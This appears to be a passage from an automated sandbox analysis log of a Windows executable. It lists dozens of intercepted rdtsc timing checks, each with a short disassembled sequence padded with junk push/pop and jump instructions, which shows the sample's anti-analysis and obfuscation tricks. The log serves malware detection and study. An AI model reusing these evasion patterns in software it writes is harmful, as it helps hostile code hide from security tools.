Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4A0A second address: CA4A17 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD2D8B2F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4A17 second address: CA4A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD2D8EB8E3Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4BA1 second address: CA4BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4BA5 second address: CA4BAF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD2D8EB8E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4C73 second address: CA4C8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8B2F883h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4C8A second address: CA4CF0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD2D8EB8E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ecx 0x00000012 pop ebx 0x00000013 nop 0x00000014 xor dword ptr [ebp+122D1BAEh], ecx 0x0000001a lea eax, dword ptr [ebp+12487717h] 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007FD2D8EB8E38h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a push ecx 0x0000003b jmp 00007FD2D8EB8E47h 0x00000040 pop ecx 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 push esi 0x00000048 pop esi 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4CF0 second address: CA4CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD86A7 second address: CD86AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD86AD second address: CD86B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8962 second address: CD8983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E47h 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FD2D8EB8E36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2993 second address: CE29AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007FD2D8B2F876h 0x00000010 popad 0x00000011 jo 00007FD2D8B2F87Eh 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1DC0 second address: CE1DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007FD2D8EB8E4Ch 0x0000000b jmp 00007FD2D8EB8E46h 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1F42 second address: CE1F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1F46 second address: CE1F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E41h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1F5D second address: CE1F62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1F62 second address: CE1F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E41h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1F79 second address: CE1F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1F87 second address: CE1FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD2D8EB8E36h 0x0000000a popad 0x0000000b jne 00007FD2D8EB8E42h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE10F6 second address: CE1109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD2D8B2F87Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8856 second address: CE885C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE75AD second address: CE75B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007FD2D8B2F876h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE75B9 second address: CE75BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE78AB second address: CE78CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FD2D8B2F885h 0x0000000c jmp 00007FD2D8B2F87Fh 0x00000011 js 00007FD2D8B2F87Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7BAB second address: CE7BB8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD2D8EB8E38h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7FD4 second address: CE7FD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8299 second address: CE82BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD2D8EB8E47h 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007FD2D8EB8E3Fh 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007FD2D8EB8E36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE82BE second address: CE82C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE82C2 second address: CE82CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE82CE second address: CE82D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE82D2 second address: CE82D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE82D8 second address: CE82E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FD2D8B2F876h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE82E8 second address: CE82EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9F2D second address: CE9F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9F35 second address: CE9F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9F42 second address: CE9F48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D612 second address: C5D631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 je 00007FD2D8EB8E36h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop ebx 0x00000010 pushad 0x00000011 jnc 00007FD2D8EB8E3Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC2AF second address: CEC2B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC2B3 second address: CEC2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FD2D8EB8E3Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC2C1 second address: CEC2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC2C7 second address: CEC2DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jnp 00007FD2D8EB8E36h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2E4C second address: CF2E63 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FD2D8B2F87Eh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2E63 second address: CF2E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FD2D8EB8E3Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5BA3 second address: CF5BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5BA9 second address: CF5BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FD2D8EB8E36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5BBC second address: CF5BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D23 second address: CF5D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D29 second address: CF5D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD2D8B2F888h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D4A second address: CF5D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5ED1 second address: CF5ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9983 second address: CF9997 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jp 00007FD2D8EB8E36h 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9C4D second address: CF9C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9EDA second address: CF9EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFE94 second address: CFFEBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD2D8B2F87Dh 0x0000000d popad 0x0000000e popad 0x0000000f jno 00007FD2D8B2F8A3h 0x00000015 push eax 0x00000016 push edx 0x00000017 jns 00007FD2D8B2F876h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE7FF second address: CFE807 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE807 second address: CFE80F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFEAC7 second address: CFEACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFEACB second address: CFEAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFEC3D second address: CFEC43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF18E second address: CFF1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jbe 00007FD2D8B2F876h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF1A0 second address: CFF1A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03464 second address: D03469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D036FD second address: D0370A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007FD2D8EB8E38h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0370A second address: D03716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FD2D8B2F876h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03716 second address: D03733 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E49h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03733 second address: D03754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD2D8B2F883h 0x0000000d jp 00007FD2D8B2F876h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03754 second address: D0377C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007FD2D8EB8E46h 0x00000011 pushad 0x00000012 jng 00007FD2D8EB8E36h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03A49 second address: D03A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03A4E second address: D03A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CE73 second address: D0CE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD2D8B2F876h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FD2D8B2F876h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CE88 second address: D0CE8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D195 second address: D0D1A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FD2D8B2F876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D1A5 second address: D0D1D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E42h 0x00000007 jmp 00007FD2D8EB8E45h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007FD2D8EB8E3Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E52E second address: D0E56A instructions: 0x00000000 rdtsc 0x00000002 je 00007FD2D8B2F87Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jnc 00007FD2D8B2F876h 0x00000011 jnp 00007FD2D8B2F876h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d jmp 00007FD2D8B2F886h 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E56A second address: D0E598 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FD2D8EB8E48h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FD2D8EB8E3Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D174E0 second address: D174E6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D174E6 second address: D174EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1669B second address: D166AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 ja 00007FD2D8B2F876h 0x0000000c ja 00007FD2D8B2F876h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D167F7 second address: D16807 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2D8EB8E3Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16807 second address: D1680D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1680D second address: D1681C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FD2D8EB8E36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1681C second address: D16820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16C37 second address: D16C3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16F47 second address: D16F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16F4D second address: D16F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17083 second address: D1709C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8B2F885h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D171DF second address: D17211 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2D8EB8E36h 0x00000008 jmp 00007FD2D8EB8E3Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD2D8EB8E48h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17211 second address: D1721B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD2D8B2F876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1721B second address: D17221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F2BB second address: D1F2E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Bh 0x00000007 jmp 00007FD2D8B2F881h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F2E5 second address: D1F2F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E3Bh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F879 second address: D1F88E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD2D8B2F87Bh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F88E second address: D1F8A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E44h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F8A6 second address: D1F8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F8AC second address: D1F8BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007FD2D8EB8E36h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FBD8 second address: D1FBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
